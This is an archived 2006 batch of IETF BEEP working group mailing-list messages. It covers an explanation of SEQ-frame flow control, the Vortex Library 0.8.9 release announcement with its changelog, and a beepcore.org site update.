Content-type: text/plain; charset="ISO-8859-1"
X-OriginalArrivalTime: 05 Jan 2006 19:51:28.0709 (UTC)
	FILETIME=[6B278F50:01C61231]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k05JpaQ9001299
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Paul Lacy <paul.lacy@hsd.com.au>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 19:51:36 -0000

That's better, now I understand what it is trying to do. I never did it in
the first place because I could get my head around it.

I'll make the changes.

Thanks
Peter

> From: David Blacka <davidb@verisignlabs.com>
> Date: Thu, 5 Jan 2006 14:16:39 -0500
> To: Peter Hall <whiz100@hotmail.com>
> Cc: Francis Brosnan Blazquez <francis@aspl.es>, Paul Lacy
> <paul.lacy@hsd.com.au>, BEEPwg <beepwg@lists.beepcore.org>
> Subject: Re: [BEEPwg] Some SEQ frame questions
> 
> 
> On Jan 5, 2006, at 12:45 PM, Peter Hall wrote:
> 
>> 
>> I'm not sure if I've tried against beepcore. I'm trying to findout
>> for sure
>> I've personally not done it.
>> 
>> The way I read it was that the SEQ message says don't send me
>> frames larger
>> X. is that wrong?
> 
> SEQ is advertising a current buffer size for a channel for that
> moment in time (or more precisely, for a particular sequence
> number).  It isn't talking about frames specifically.
> 
>> What I think your saying is don¹t send a message with a total
>> payload larger
>> that X. in other words send me either 1 message no larger than X or
>> send me
>> many continuation messages but not to exceed X.
> 
> It is saying that you can send up to X octets without another SEQ,
> regardless of the message/frame breakdown.
> 
>> Why send multiple SEQ messages if it's not changed? Isn't that just
>> wasting
>> bandwidth?
> 
> SEQ is implementing flow control, so think of it as an ACK.
> 
>> As it happens my application a reliable syslog server/client don't
>> need to
>> send more than 4K so may be I've just not had to deal with that
>> problem.
>> saying that it does work against over vendors servers/clients.
> 
> Well, you would be able to send *only* 4k on a given channel.  Well,
> reliably in any case.  Also keep in mind that you will be able to
> perfectly interoperate with yourself.  So if both peers are using
> your BEEP implementation, I wouldn't expect a problem.
> 
>> The only reason I implemented what I did with the SEQ message with
>> because
>> other vendors applications sent it.
> 
> Well, they have to.
> 
>> Because I don¹t send a SEQ it just means I'll accept the default 4K.
> 
> It means you will only accept 4k total on each channel.
> 
> Here is what BEEP implementations need to do with respect to SEQ:
> 
> Senders must track on a per channel basis how many octets they are
> allowed to send.  So, initially, on channel creation, this may be set
> to 4096.  Now lets say you send 200 octets in two frames.
> Immediately, the sender updates this number to 3896, and notes that
> it has sent a total of 200 octets.  Now lets say that the sender has
> received a SEQ frame that says "SEQ 1 100 4096".  This means: "after
> receiving octet 100 on channel 1, I can receive 4096 more octets of
> payload".  So the sender gets to update its number to 3996.  It is
> now allowed to send at most 3996 octets before getting another SEQ
> frame.  Note that the ackno field is critical here.
> 
> Receivers need to have a mechanism for knowing when they must send a
> SEQ frame to prevent the channel from stalling.  In general, they do
> this by mirroring the calculation that the sender is doing (i.e.,
> subtract on receipt of data, resetting when sending a SEQ), but this
> isn't the only way to do it.
> 
> Also note that like sequence numbers, SEQ frames operate on a per-
> channel and per-direction basis.
> 
> --
> David Blacka    <davidb@verisignlabs.com>
> Sr. Engineer    VeriSign Applied Research
> 
> 
> 
> 


From gwachob@gmail.com Thu Jan  5 11:57:04 2006
Received: from bulk.resource.org (bulk.resource.org [192.101.98.10])
	k05Jv3WG001362
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 11:57:04 -0800
Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.207])
	by bulk.resource.org (8.12.2/8.12.2) with ESMTP id k05JuxOQ025033
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 11:57:00 -0800 (PST)
Received: by wproxy.gmail.com with SMTP id 67so3309709wri
        for <beepwg@lists.beepcore.org>; Thu, 05 Jan 2006 11:54:57 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
	s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=CGIlJCu6jZ/fLrw36awiOlowTrLQgTVtNyrSy9WBEIsACMZqXIv/391pFqQbrCOPlQthOwrpPnmJY9nFHIkLncUoUZCdi6q9HEp4YBM15kOu9MeaPUlUqNzXSxu0PO6X+FRuMw3wiL2Hel/GvssafBJQBSxewAcjCDE0WNqXruI=
Received: by 10.65.95.5 with SMTP id x5mr1555234qbl;
        Thu, 05 Jan 2006 11:54:57 -0800 (PST)
Received: by 10.65.97.8 with HTTP; Thu, 5 Jan 2006 11:54:57 -0800 (PST)
Message-ID: <a813249a0601051154t4d3e942bt4f5ee117a450ba3f@mail.gmail.com>
Date: Thu, 5 Jan 2006 11:54:57 -0800
From: Gabe Wachob <gwachob@wachob.com>
Sender: gwachob@gmail.com
To: Peter Hall <whiz100@hotmail.com>
Subject: Re: [BEEPwg] Some SEQ frame questions
In-Reply-To: <BAY115-DAV173D1279C35CF2C2AEFD51F22E0@phx.gbl>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Disposition: inline
References: <EEE2C891-9100-48EA-9A9F-9583ECDAF436@verisignlabs.com>
	 <BAY115-DAV173D1279C35CF2C2AEFD51F22E0@phx.gbl>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k05Jv3WG001362
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Paul Lacy <paul.lacy@hsd.com.au>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 19:57:04 -0000

Just a reminder that for folks implementing beep libraries/code and
would like to talk with similar folks, there is the beepbuilders email
list and sourceforge project (the sf project never did much, but the
email list is active):

http://beepbuilders.sf.net

If there is interest in developing the sf project (test cases,
harnesses, etc), please let me know - I'd be even willing to hand over
the project to someone else with a more vested interest at this point.

   -Gabe



On 1/5/06, Peter Hall <whiz100@hotmail.com> wrote:
> I've just had confirmation that a vender has used beepcore-java and it works
> fine with my implemention.
>
> P
>
> > From: David Blacka <davidb@verisignlabs.com>
> > Date: Thu, 5 Jan 2006 11:26:32 -0500
> > To: Peter Hall <whiz100@hotmail.com>
> > Cc: Francis Brosnan Blazquez <francis@aspl.es>, Paul Lacy
> > <paul.lacy@hsd.com.au>, BEEPwg <beepwg@lists.beepcore.org>
> > Subject: Re: [BEEPwg] Some SEQ frame questions
> >
> >
> > On Jan 5, 2006, at 9:03 AM, Peter Hall wrote:
> >
> >>> 3) It is easy to understand that any change required to the window
> >>>  size for a given channel will required to produce a SEQ frame to be
> >>>  sent, but if the window size doesn't change:
> >>>
> >>>  It is required to keep on sending SEQ frames notifying current
> >>>  status of the channel buffer?
> >>
> >> No need to keep sending them
> >
> > Um, no.  I think you've misunderstood how SEQ works.
> >
> > It is true that you do not have to send a new SEQ frame after every
> > received frame (although you could).  You DO need to send one either
> > before the original buffer size is exhausted, or immediately afterwards.
> >
> > What the SEQ frame says is: on this channel, you may send me N
> > octets.  It isn't saying "break every message in to N octet frames".
> >
> >
> >>>
> >>> 4) What could happen if BEEP peer just ignore SEQ frames or don't
> >>>  generate SEQ frames?
> >>
> >> This is what I have done. I'll accept the SEQ frame but I never
> >> send a SEQ
> >> frame. When I send a message I'll split the message into whatever
> >> the remote
> >> peer SEQ requested.
> >
> > Have you actually interoperated with, say, beepcore-j?
> >
> > --
> > David Blacka    <davidb@verisignlabs.com>
> > Sr. Engineer    VeriSign Applied Research
> >
> >
> >
> >
>
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg
>


--
Gabe Wachob / gwachob@wachob.com / http://www.wachob.com

From francis@aspl.es Fri Feb  3 09:57:53 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k13HvoXL011383
	for <beepwg@lists.beepcore.org>; Fri, 3 Feb 2006 09:57:51 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1F55Bf-00025u-00
	for <beepwg@lists.beepcore.org>; Fri, 03 Feb 2006 18:57:35 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 03 Feb 2006 18:58:00 +0100
Message-Id: <1138989480.1594.36.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1F55Bf-00025u-00*LEc8BK9JsGk*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k13HvoXL011383
Subject: [BEEPwg] [ANN] Vortex Library stable release 0.8.9 is out!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 03 Feb 2006 17:57:53 -0000

       ##########################################
       ## Vortex Library 0.8.9 Stable Release  ##
       ##########################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 0.8.9 availability: an open source "BEEP Core" protocol
  implementation written in C, mapped into TCP/IP.

  Vortex Library is a powerful toolkit to write new application
  protocols and application over the well-defined "BEEP Core" protocol
  defined at RFC3080/RFC3081. 

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]
   
    - http://www.beepcore.org
      [BEEP Core community web site]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  This release adds a properly implemented SEQ frame support that now
  enables Vortex Library to interop with beepcore-java. 

  Added better support for mime handling. Messages generated are
  automatically mime-tized according to the profile configuration
  associated to the given channel. Frames read inside the Vortex
  Library automatically separates the payload content from the mime
  headers.

  Additionally, many bug fixings, memory handling, and project
  documentation updates.

  Many thanks goes to answers received at the beepcore.org community
  list: Peter Hall, David Blacka, David Kramer and Marshall Rose while
  requiring information about the SEQ frame support.

  An special mention goes to Paul Lacy which has provided the enough
  java support and working examples to make Vortex Library to talk to
  beepcore-java. 

Changes since 0.8.8
~~~~~~~~~~~~~~~~~~~

* [fix] fixing compilation errors found while using Vortex Library
  without TLS support exposed by win32 platforms.

* [fix] updating user documentation for SASL, more examples and
  examples of code.

* [new] working on adding XML-RPC support (through RFC3529 definition)
  At this moment it is implemented initial bootstrap mechanism to
  create XML-RPC channels and type definitions to be used to define
  method calls and its values (include method response). Added initial
  vortex-xml-rpc-listener.c test example. API added:

  Type definitions (XML-RPC spec abstract type definitions):
    - XmlRpcMethodCall
    - XmlRpcMethodResponse
    - XmlRpcMethodResponseFail
    - XmlRpcMethodValue
    - XmlRpcStruct
    - XmlRpcStructMember
    - XmlRpcArray
    - XmlRpcParamType
    - XmlRpcResponseStatus
    - VortexXmlRpcState
    - vortex_xml_rpc_new_method_call

  API functions:
    - vortex_xml_rpc_is_enabled 
    - vortex_xml_rpc_boot_channel
    - vortex_xml_rpc_channel_status
    - vortex_xml_rpc_accept_negociation
    - VortexXmlRpcBootNotify (handler)
    - VortexXmlRpcValidateResource (handler)
    - VortexXmlRpcServiceDispatch (handler)

* [fix] making error message validation to be public. It was defined
  as a private function inside the Vortex Channel module. Renamed
  into:

    - vortex_channel_validate_err

  Now the function returns not only if an error reply was found but
  also code number and its textual diagnostic message.

* [fix] fixing memory leak at close message handling function. It
  wasn't unrefering code and message values.

* [new] added new API to check if the a given profile is the one
  running for a given channel:

     - vortex_channel_is_running_profile

* [fix] updated project documentation, making a conceptual separation
  for the API found inside Vortex, fixing conclusion section for the
  profile example tutorial,

* [fix] added API to vortex frame module to check if a given frame
  contains an error message. Makes use of the new API defined at
  vortex channel. API added:

   - vortex_frame_is_error_message

* [fix] making vortex tls module to enforce providing a tls
  notification handler if the asynchronous API is the one being used.

* [fix] adding an internal parameter counting for method call object
  inside XML-RPC invocation. This will ensure user space doesn't
  perform wrong XML-RPC invocations with missing parameters.

* [new] adding more API to handle XML-RPC abstract data types:

  - vortex_xml_rpc_method_value_new: allows to create a new method
    parameter used for method call and method response.

  - vortex_xml_rpc_method_call_add_value: allows to associate a given
    method value to a given method call following a sequential order.

  - vortex_xml_rpc_method_call_set_value: allows to set at a given
    position a given value into a given method call.

  - vortex_xml_rpc_method_call_create_value: convenience function to
    create a method value and add it to a given method call into one
    step.

  - vortex_xml_rpc_method_call_free: destructor function for method
    call object.

  - vortex_xml_rpc_method_value_free: destructor function for method
    value.

  - added several #macros to support calling previous function without
    being required to write "vortex_xml_rpc" prefix

* [fix] making vortex sequencer to not allocate memory to perform
  frame fragmentation. This is an step required to implement full
  support for SEQ frames. Now vortex sequencer rely on
  vortex_frame_build_up_from_params to create frame fragments.

* [new] vortex_frame_seq_build_up_from_params to create SEQ frames.

* [fix] rewritten vortex_frame_build_up_from_params to support
  building frames paying attention to the payload size rather than
  rely on %s parameter format which seeks for then next 0x0 value to
  delimit the payload. This is an step to support SEQ frames.

* [new] adding new function to create raw frames from values to
  replace previous vortex_frame_build_up_from_params. This new
  function returns not only the frame built but also the size of
  it. API added:

  - vortex_frame_build_up_from_params_s

* [fix] rewritten vortex_frame_build_up_from_params to use services
  provided by vortex_frame_build_up_from_params_s. Updated function
  documentation to advise it is deprecated.

* [fix] rewritten vortex sequencer frame building code to use previous
  function and to perform some additional checks to ensure frame
  sequencing works properly.

* [fix] fixing __vortex_channel_common_msg and
  __vortex_channel_common_rpy to use memcpy sentences based on sizes
  provided by user application to copy payload to be sent.

* [???] found that some several critical sections placed on vortex
  reader process are not really needed. Maybe this is an ancient code
  that has lived within the vortex reader until now. For now, it is
  removed and some test will be performed to ensure that they are
  indeed not needed.

* [fix] adding support to vortex_frame_get_next function to parse and
  return SEQ frames. One step closer to SEQ frames support.

* [fix] definitely, critical sections found at vortex reader wasn't
  really necessary. Remove all code about this internal mutex, mutex
  allocation and mutex destruction. Updated vortex reader code to not
  perform any call to:

   - vortex_channel_lock_to_update
   - vortex_channel_unlock_to_update

  Updating documentation for previous function to flag them as
  deprecated.

* [new] adding support to SEQ frames to vortex library. Now the
  library is able to produce and accept SEQ frames to perform flow
  control inside a BEEP session.

* [fix] making vortex-client to produce raw frames using \x0D\x0A CRLF
  representation rather than \r\n.

* [fix] making vortex greetings module to use \x0D\x0A CRLF
  representation rather than \r\n while creating greetings messages.

* [fix] making vortex greetings module to update status received
  channel to use vortex_frame_get_content_size rather than
  vortex_frame_get_payload_size.

* [new] adding new API to register mime type value to be used for
  channels created under some selected profile at vortex profiles
  module. Now vortex library automatically handle mime content type
  and mime content transfer encoding values generated for every
  message sent under a channel using a global configuration provided
  at vortex profiles module. API added:

   - vortex_profiles_set_mime_type: which allows to register for a
     given profile, already registered, the content-type and
     content-transfer-encoding value to be used.

   - vortex_profiles_get_mime_type: returns for the given profile the
     content type associated.

   - vortex_profiles_get_transfer_encoding: returns for the given
     profile the content transfer encoding value associated.

* [new] added new API to vortex queue to enable Vortex Library
  internals to queue new items not only at the tail but also at the
  header of the queue.  API added:

   - vortex_queue_head_push: queue a new item at the headers queue.
  
* [fix] written vortex sequencer module to conform SEQ frames
  implementation. Now vortex sequencer do not sent more frames than
  the maximum allowed by the remote peer until a new SEQ frame is
  received.  It has also the ability to keep track on messages that
  are pending to be sequenced while attending other message sequence
  operations to other channel under other connections.  Added lot of
  documentation to internal vortex sequencer structures to explain
  which is the purpose for every element used.

* [fix] now vortex sequencer uses vortex_frame_build_up_from_params_s
  rather previous version (without _s) which supports returning
  current frame size built. This is considered more secure and binary
  content proof because new function implement frame building using
  memcpy operations.

* [fix] adding new API to vortex sequencer to allow vortex reader to
  notify that the maximum allowed segment to be sent have been
  increased due to SEQ frame reception. API added:

    - vortex_sequencer_queue_and_signal_sem

* [fix] fixed memory leak while parsing greetings message and an error
  happen. It wasn't unrefering (wrong) greeting frame.

* [fix] several modification to vortex channel module to include
  support to track down maximum buffer size that is willing to accept
  the remote peer and maximum buffer size that the channel is willing
  to accept. Internal API added, not exposed to application level:

   Management function for the M¡maximum buffer size to accept:

    - vortex_channel_update_remote_incoming_buffer
    - vortex_channel_get_max_seq_no_remote_accepted
    - vortex_channel_update_incoming_buffer
    - vortex_channel_get_max_seq_no_accepted
    - vortex_channel_queue_pending_message

   Pending to be re-sequence messages on a given channel, due to
   stale state:

    - vortex_channel_queue_pending_message
    - vortex_channel_next_pending_message
    - vortex_channel_remove_pending_message

* [fix] fixing second level invocation for frame received, under some
  circumstances it wasn't deallocating the frame delivered.

* [new] added support to include mime information while sending
  messages and replies using current configuration associated to the
  profile. This is a transparent mechanism to the application
  programmer, making it life easier.  Internal API added:

   - __vortex_channel_get_mime_headers_size
   - __vortex_channel_get_mime_headers

* [fix] fixing memory leak while creating new channels, it wasn't
  deallocating frame reply to a start message. Ouught!

* [new] making channel 0 to be mime-tized to application/beep+xml for
  the content-type value and "binary" for the content transfer
  encoding.

* [new] added support to allow application level to get current
  content-type and content-transfer-encoding for a given channel. API
  added:

   - vortex_channel_get_mime_type
   - vortex_channel_get_transfer_encoding

* [fix] making vortex_init function to not initialize vortex listener
  module. This is not required to until a call to vortex_listener_new
  is done.

* [fix] making vortex_exit function to stop and cleanup vortex reader
  system and to cleanup vortex profiles module.

* [fix] making vortex_frame_get_next to not leak while allocating a
  frame but a poorly one was received.

* [new] now vortex frames are read in a way that application
  programmer could get only the payload size, without mime
  information, and later get current mime information defined. API
  have been added to manage this new situation:

   - vortex_frame_get_content_type: get current content-type value for
     the given frame.

   - vortex_frame_get_content_transfer_encoding: get current
     content-transfer-encoding.

   - vortex_frame_get_mime_headers_size: get current mime headers size
     that are kept for the mime information.

   - vortex_frame_get_content_size: which returns the frame payload
     size including mime headers information.

* [fix] rewritten beep channel management function (<start />, <ok />,
  <error />,...) to not include mime information inside the message,
  and to allow mime automatic mechanism to generate it.

* [fix] making vortex dtd module to deallocate xml rpc dtd on vortex
  exit.

* [fix] making vortex reader to not use frames that are already
  deallocated to write log information, (using deallocated memory that
  could lead to memory corruption problems).

* [fix] making vortex_listener_new to allocate values received for
  host and port, to allow application level to use either static or
  dynamic values.  This values are later deallocated. Added more
  details on you to use this function and a example on building a
  vortex listener using this.

* [fix] making vortex_listener_init to be callable from several
  threads at the same time. Now this function is called from
  vortex_listener_new function.

* [fix] fixing autoconf files (AC_CONFIG_AUX_DIR(.) is included).

* [fix] a great effort have been done to make vortex library to not
  leak.  And now it is complete, and all source code written inside
  the context of the vortex library do NOT leak. Great! (valgrind
  rules!!!)

* [fix] vortex documentation have been upgraded, vortex manual have
  been splitted into sections to get them more clear. Common sections
  and related info is now grouped.

* [fix] starting the ansification process, at this moment only
  comments are translated into the /* ansi form */ from the // modern
  form.

* [fix] fixing a really incredible bug based on a race condition
  between building the next frame to be sent and queueing the rest of
  the message due to remote buffer size is complete but, under some
  circumstances the frame generated is fast enough to reach remote
  side, be delivered into the application space, generate a new SEQ
  frame, and make local vortex reader to start a re-sequencing process
  but the initial !!already didn't queue the rest of the message to be
  resequenced.!!!! Reorganized vortex sequencer code to avoid previous
  race condition: threads, lot of fun!

* [fix] fixing initial values used for the max seq no that the remote
  peer is willing to accept and the local buffer for each channel from
  4096 to 4095, which represent a total octet counting of 4096
  starting from 0 up to 4095. Making vortex reader, vortex channel and
  vortex sequencer to reorganize its operational calculus to this
  change.

* [fix] fixing vortex_channel_update_incoming_buffer to not report
  vortex reader to send a SEQ frame if it is detected that current
  configuration will not allow this. Making this function to directly
  report current ackno and window size values so the vortex reader
  completely depends on this function.

* [new] adding support to vortex frame module to generate an unique
  global identifier to uniquely identify every frame, mainly to allow
  memory debugging but also providing application space a way to
  identify frames. API added:

    - vortex_frame_get_id 

* [fix] making vortex_frame_create to use services provided by
  vortex_frame_create_full to build new frames. This new function not
  only uses memcpy instructions to build new frames but also adds
  support to specify frame content type and content transfer encoding
  values. API added:
    
    - vortex_frame_create_full 

* [fix] fixing horrible, difficult to find bug, which was causing to
  leak memory due to not deallocating memory for the frame received as
  a reply containing the profile to be used for a previously start
  message.

* [fix] making __vortex_frame_get_next_id to also report which is the
  frame module section that is allocating the next, concurrent, frame
  identifier.

* [fix] fixing vortex autoconf files. Including xml-rpc-invocation.png
  image path into doxygen configuration file (also included into
  af-arch doxygen file).

* [fix] making vortex greetings to update message numbers to be
  expected, rather than making an exception for the channel 0.

* [fix] making vortex_channel_empty_new to set as default reply sent
  and reply received for channel 0 values {1, 1}. This solves the
  problem found for the message 0 that is never sent for the channel
  0.

* [fix] fixing a bug while processing start messages. If the xml
  received contains garbage, that is spaces, tabulars, returns,
  between the <start> element and the <profile> element, the libxml
  library set as a child node to the <start> element the garbage!!
  Added some additional checks to test if the node read is a profile
  node or something else.

* [fix] making vortex reader to accept first messages that starts from
  with msgno=1.  API added to control this function:

  - vortex_reader_allow_msgno_starting_from_1.

  This will make vortex library to interop with beepcore-java library.

* [fix] performing more code ansification. Updated vortex CSS style
  sheet for the vortex documentation center.

* [fix] making vortex library internal queue for frames to be sent, to
  be splitted into two queues, one with normal frames, and the other
  with SEQ frames. This last one have higher priority over the
  messages inside the same channel. To perform this change only
  following function were modified so, the rest of the Vortex Library
  subsystems keeps on working the same:

   - vortex_channel_queue_frame
   - vortex_channel_queue_is_empty
   - vortex_channel_queue_next_msg
   - vortex_channel_queue_length

* [new] adding a new function to perform a synchronous channel boot
  for the XML-RPC profile. This will allow a blocking
  initialization. API added:

   - vortex_xml_rpc_boot_channel_sync

* [new] adding two new function to the XML-RPC API to provide
  asynchronous and synchronous invocation. API added:
   
   - vortex_xml_rpc_invoke
   - vortex_xml_rpc_invoke_sync

* [new] added a new asynchronous notification handler to report
  results received for XML-RCP invocation performed. API added:
   
   - XmlRpcInvokeNotify

* [fix] making internal __vortex_connection_set_non_connected to not
  perform a shutdown and a close operation over the underlying socket,
  delegating that job to the vortex_connection_free function, that is
  called by the entity that perform the ultimate unref operation. Now,
  allows to delay the close operation as long as possible.

* [fix] fixing some error at TLS and XML-RPC building when they are
  disabled.

* [fix] working on giving XML-RPC support to vortex-client tool to
  perform invocations.

* [fix] making vortex dtd module to report an error when a dtd file is
  not found.

* [fix] reverting change done at __vortex_connection_set_not_connected
  function which was delaying connection close to
  vortex_connection_free. However, this has some issues causing
  applications that do not properly implements some aspect of the BEEP
  protocol to hang until a new connection is received.

* [fix] plenty of fixing inside the vortex documentation (global spell
  checking done).

* [fix] making seq frame generation decision making code to not allow
  it if the channel to report is being closed. This also makes to work
  TLS implementation and any tuning profile, that requires to close
  the session (including the channel 0 to start talking other non-beep
  protocol).

* [new] adding a new function to enable restoring default IO handler
  used to send and received data for a given connection. API added:

   - vortex_connection_set_default_io_handler

* [fix] fixing TLS code to properly fall back into normal operations
  when the TLS negotiation have failed. Making also (for listener and
  initiators) to not flag the connection to be tls-ficated until it is
  really done.

* [fix] making vortex_channel_get_reply and vortex_channel_wait_reply
  to not get blocked until a specific reply is received for ever. A
  timeout mechanism has been introduced to perform a limited blocking
  wait.

* [new] adding lot of documentation explaining how
  vortex_channel_get_reply and vortex_channel_queue_reply is used to
  implement synchronous, blocking frame reading.  Added documentation
  at the frame dispatch schema documentation.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services on how organization can introduce GNU/Linux
  inside its process, making other platforms to interact with
  GNU/Linux.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!
         
--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
3th Feb 2006, Madrid (Spain)
  


-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From francis@aspl.es Wed Feb  8 10:26:16 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k18IQFtV001041;	Wed, 8 Feb 2006 10:26:16 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1F6u0w-0008Tu-00; Wed, 08 Feb 2006 19:26:02 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEP <beepbuilders@lists.beepcore.org>, BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Wed, 08 Feb 2006 19:27:03 +0100
Message-Id: <1139423223.4106.27.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1F6u0w-0008Tu-00*3n9UyWPZkqc*
Subject: [BEEPwg] new BEEP Core community web site
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 08 Feb 2006 18:26:16 -0000

Hi, 

beepcore.org community site has been upgraded to reorganize all
information available around BEEP. I hope you find it useful.


Activities
~~~~~~~~~~

There are many on going activities where collaboration is welcome. As a
brief, these activities involves:

  -  writing articles about aspects around the BEEP protocol and
     products/protocols making use of it, 

  -  notifying new BEEP toolkits and BEEP enabled products. 

There is also a service directory inside the support section that is
organizing companies/organizations and products around BEEP. Some of
previous yet listed products were missing (broken link on most cases),
so, anyone how is interested on making its products to get listed again
contact us.

Articles
~~~~~~~~

As an initial step, an article about SEQ frames has been written [1],
taking advantage from discussions on the beepcore.org mailing list. 

Articles are really important because many people can get lot of
experience from those people that has already faced problems found
inside the BEEP framework.

Contact us
~~~~~~~~~~

To reach us for comments, suggestions, writing articles, or any related
issue with the beepcore.org community portal, you can
webmaster@beepcore.org.


Enjoy BEEP!

[1] http://beepcore.org/seq_frames.html

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From lucky7456969b@hotmail.com Wed Feb  8 22:04:12 2006
Received: from hotmail.com (bay21-f16.bay21.hotmail.com [65.54.233.105])
	k1964BbH007495
	for <beepwg@lists.beepcore.org>; Wed, 8 Feb 2006 22:04:11 -0800
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 8 Feb 2006 22:04:00 -0800
Message-ID: <BAY21-F1670FE0199472B74950E51F3030@phx.gbl>
Received: from 209.170.95.147 by by21fd.bay21.hotmail.msn.com with HTTP;
	Thu, 09 Feb 2006 06:03:59 GMT
X-Originating-IP: [202.180.167.69]
X-Originating-Email: [lucky7456969b@hotmail.com]
X-Sender: lucky7456969b@hotmail.com
From: "Jacky Luk" <lucky7456969b@hotmail.com>
To: beepwg@lists.beepcore.org
Date: Thu, 09 Feb 2006 06:03:59 +0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-OriginalArrivalTime: 09 Feb 2006 06:04:00.0344 (UTC)
	FILETIME=[9EE18580:01C62D3E]
